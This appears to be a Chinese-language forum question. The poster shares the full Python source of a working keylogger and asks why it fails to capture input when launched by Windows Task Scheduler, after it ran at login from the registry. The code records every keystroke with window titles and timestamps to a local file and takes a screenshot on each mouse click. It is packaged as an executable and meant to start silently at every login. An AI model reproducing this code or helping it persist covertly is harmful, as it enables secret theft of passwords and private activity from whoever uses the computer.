我用 Python 编写了一个简单的键盘记录器,它工作得很好,直到...我尝试安排它在每次登录时运行。如果我使用默认的 Microsoft Windows 任务计划程序,该程序根本无法挂钩鼠标和键盘。我已经成功地使用 Windows 注册表在登录时运行它。但我找不到简单地将其作为任务运行的解决方案。
这是代码:
from pynput import keyboard
from pynput import mouse
import logging
from win32gui import GetWindowText, GetForegroundWindow
from datetime import datetime
from pathlib import Path
import time
window = ""
def writetofile(key):
global window
current_window = GetWindowText(GetForegroundWindow())
with open("c:\\keylogger\\pynput.txt", 'a') as f:
if current_window != window:
window = current_window
f.write("\n===[[[ {0} - {1} ]]]===\n".format(window,datetime.now().strftime("%Y-%m-%d %H:%M:%S")))
if hasattr(key,'char'):
f.write("{0}".format(key.char))
else:
k = str(key)
k = k.split(".")
k = k[-1]
f.write("[{0}]".format(k))
def screenshot():
from PIL import ImageGrab
filename = "{0}.jpg".format(int(time.time()))
save_path = Path("c:\\keylogger") / filename
ImageGrab.grab().save(save_path, 'JPEG', optimize=True, quality=50)
def onclick(x,y,button,pressed):
screenshot()
# kb_listenter = keyboard.Listener(on_press=writetofile)
# kb_listenter.start()
with mouse.Listener(on_click=onclick) as m_l:
with keyboard.Listener(on_press=writetofile) as kb_l:
kb_l.join()
m_l.join()
为了使其成为单个 .exe,我只使用了 vanilla pyinstaller。
您找到解决方案或替代方案了吗?